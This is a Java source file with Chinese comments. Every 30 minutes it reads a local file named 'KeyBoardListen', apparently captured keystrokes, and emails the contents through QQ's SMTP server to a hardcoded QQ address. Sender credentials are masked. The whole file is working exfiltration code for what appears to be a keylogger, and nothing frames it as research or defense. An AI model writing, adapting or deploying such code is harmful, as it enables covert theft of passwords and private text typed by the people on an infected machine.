package branchandbound;


import javax.mail.*;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import java.util.Properties;
import java.util.Timer;
import java.util.TimerTask;

/** test
 * @author MtRider
 * @version 1.0
 * @description 需开通smtp邮箱
 * @GiteeAndGithub MtRider
 * @date 2022/5/9 12:08
 */
public class TimeScheduleSendMeesage extends TimerTask {
    // 发件人
    public static final String FROM = "***@qq.com";
    // 发件主机
    public static final String HOST = "smtp.qq.com";
    // 发件人账号
    public static final String USERNAME = "***@qq.com";
    // 发件人密码
    public static final String PASSWORD = "***";

    /**
     * 单线程运行足够
     */
    @Override
    public void run() {
        try {
            List<String> listText = readText();
            String subject = "allcontent";
            String concent="";
            for (String s : listText) {
                concent += s+"\n";
            }
            System.out.println(concent);
            String address = "1918308849@qq.com";

           Email email = new Email();
            email.setSubject(subject);
            email.setConetent(concent);

            sendMail(email,address);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /**
     * 主函数启动
     * @param args
     */
    public static void main(String[] args) {
        Timer timer = new Timer();
        //毫秒 30分钟发送一次
        timer.schedule(new TimeScheduleSendMeesage(), 0, 1800000);
    }

    /**
     * 定时读取文本内容
     *
     * @return
     * @throws IOException
     */
    public static List<String> readText() throws IOException {
        String fileName = System.getProperty("user.dir")+"\\KeyBoardListen";

        // 转换成List<String>, 要注意java.lang.OutOfMemoryError: Java heap space
        List<String> lines = Files.readAllLines(Paths.get(fileName),
                StandardCharsets.UTF_8);
        return lines;
    }

    /**
     * 发送邮件
     * @param email
     * @param address
     */
    public static void sendMail(Email email,String address){

        // 定义收件人
        InternetAddress to_address[] = new InternetAddress[1];
        try {
            to_address[0] = new InternetAddress(address);
        } catch (AddressException e) {
            e.printStackTrace();
        }

        // 获取系统属性
        Properties properties = System.getProperties();
        // 设置邮件服务器
        properties.setProperty("mail.smtp.host", HOST);
        properties.put("mail.smtp.auth", "true");


        // 获取默认session对象
        Session session = Session.getDefaultInstance(properties, new Authenticator() {
            @Override
            public PasswordAuthentication getPasswordAuthentication() {
                return new PasswordAuthentication(USERNAME,PASSWORD);
            }
        });


        // 定义头部字段及发邮件
        try {
            // 创建默认的MimeMessage对象
            MimeMessage message = new MimeMessage(session);
            // 设置发件人From 头部字段
            message.setFrom(new InternetAddress(FROM));
            // 设置收件人To 头部字段
            message.addRecipients(Message.RecipientType.TO,to_address);
            // 设置Subject 头部字段
            message.setSubject(email.getSubject());
            // 设置消息体
            message.setText(email.getConetent());

            // 发送消息
            Transport.send(message);
            System.out.println("发送成功");

        } catch (MessagingException e) {
            e.printStackTrace();
        }
    }


}
class Email {

    // 主题
    private String subject;
    // 内容
    private String conetent;

    public String getSubject() {
        return subject;
    }

    public void setSubject(String subject) {
        this.subject = subject;
    }

    public String getConetent() {
        return conetent;
    }

    public void setConetent(String conetent) {
        this.conetent = conetent;
    }
}
